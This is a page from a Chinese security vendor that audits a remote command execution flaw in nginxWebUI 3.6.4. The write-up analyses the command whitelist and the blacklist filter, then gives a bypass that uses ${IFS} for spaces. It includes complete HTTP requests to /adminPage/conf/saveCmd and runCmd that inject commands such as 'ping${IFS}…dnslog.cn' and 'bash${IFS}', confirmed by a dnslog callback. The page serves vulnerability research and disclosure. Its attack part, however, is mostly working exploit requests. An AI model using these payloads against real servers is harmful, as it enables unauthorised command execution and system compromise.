美創科技打造縣域醫療災備新標桿|神木市醫院 HIS 系統數據庫分鐘級切換演練實錄
2025-07-02
百萬罰單警示!DCAS助力金融機構筑牢數據安全防線,實現監管合規
2025-06-20
2025中國互聯網產業年會丨《中國互聯網產業綠色算力發展倡議》正式發布
2025-02-07
美創用戶專訪 | 精細化管理:醫療行業數據分類分級的策略與實踐
2025-01-10
容災演練雙月報|美創助力某特大型通信基礎設施央企順利完成多個核心系統異地容災演練
2025-01-10
存儲域
數據庫加密 諾亞防勒索訪問域
數據庫防水壩 數據庫防火墻 數據庫安全審計 動態脫敏流動域
靜態脫敏 數據水印 API審計 API防控 醫療防統方運維服務
數據庫運維服務 中間件運維服務 國產信創改造服務 駐場運維服務 供數服務安全咨詢服務
數據出境安全治理服務 數據安全能力評估認證服務 數據安全風險評估服務 數據安全治理咨詢服務 數據分類分級咨詢服務 個人信息風險評估服務 數據安全檢查服務概述
nginxWebUI runCmd遠程命令執行漏洞時間線:
- 5月19日 官方發布新版本(3.5.2)修復漏洞
- 5月26日 漏洞細節在安全社區(火線)公開披露
- 6月29 官方發布3.6.2 、3.6.3進一步修復runCmd遠程命令執行漏洞
- 6月30 官方發布3.6.4 進一步修復runCmd遠程命令執行漏洞
- 7月11 官方發布3.6.6 進一步修復runCmd遠程命令執行漏洞
目前已跟進版本:
3.4.7-3.6.3版本代碼分析參考上一篇。
3.6.4版本審計
定位到命令執行接口:
\nginxWebUI-3.6.4\src\main\java\com\cym\controller\adminPage\ConfController.java 330行
在這里runcmd接收2個參數:cmd和type。先檢查type是否為空,不為空則調用settingService.set(type, cmd)使用配置文件的相關配置:
然后使用了if (!isAvailableCmd(cmd)) ,檢查cmd是否為有效的命令
跟一下!isAvailableCmd:366行
一個布爾類型私有方法,檢查cmd參數是否有效,過濾了獲取的所有路徑,檢查命令是否屬于以下命令:
"pkill nginx"
"taskkill /f /im nginx.exe"
"systemctl stop nginx"
"service nginx stop"
"net stop nginx"
"systemctl start nginx"
"service nginx start"
"net start nginx"
符合返回true,否則返回false,并返回錯誤信息。然后將傳入的值進行處理,并且與nginxEXE參數進行判斷是否相等,即將命令與nginx 服務端執行的命令進行對比。
隨后回到runcmd方法:然后是一個判斷系統為win或者linux,調用不同的系統命令。
然后對結果進行非空判斷和內容正則。
3.6.4漏洞構造
根據前文代碼的分析,要繼續構造命令執行,就必須傳入cmd參數,且繞過isAvailableCmd中對 nginxDir和nginxExe的校驗。
我們找到了處理這兩個參數的saveCmd方法:272行
該方法接收三個參數nginxPath、nginxExe和nginxDir,在方法內部調用ToolUtils.handlePath進行過濾處理,即黑名單的方式對以下空格和符號進行轉義替換。
在linux下,linux把${IFS}會被當做空格:
訪問nginxweibui
配置nginxExe參數:即將isAvailableCmd中的nginxExe預設成我們將要執行的命令。
POST /adminPage/conf/saveCmd HTTP/1.1
1.POST /adminPage/conf/saveCmd HTTP/1.1
2.Host: x.x.x.x:80803.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
4.Accept: application/json, text/javascript, */*; q=0.01
5.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6.Accept-Encoding: gzip, deflate
7.Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8.X-Requested-With: XMLHttpRequest
9.Content-Length: 47
10.Origin: http://x.x.x.x:8080
11.DNT: 1
12.Connection: close
13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd
14.Cookie:SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911
15.16.nginxExe=ping${IFS}22dck7.dnslog.cn&nginxPath=1
命令執行:
1.POST /adminPage/conf/runCmd HTTP/1.1
2.Host: x.x.x.x:8080
3.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
4.Accept: application/json, text/javascript, */*; q=0.01
5.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6.Accept-Encoding: gzip, deflate
7.Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8.X-Requested-With: XMLHttpRequest
9.Content-Length: 35
10.Origin: http://x.x.x.x:8080
11.DNT: 1
12.Connection: close
13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd
14.Cookie: SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911
15.
16.cmd=ping${IFS}22dck7.dnslog.cn -c 1
Dnslog返回成功。
其他命令:
POST /adminPage/conf/saveCmd HTTP/1.1 Host: xxxnginxExe=bash${IFS}&nginxPath=ls
POST /adminPage/conf/runCmd HTTP/1.1Host: xxxx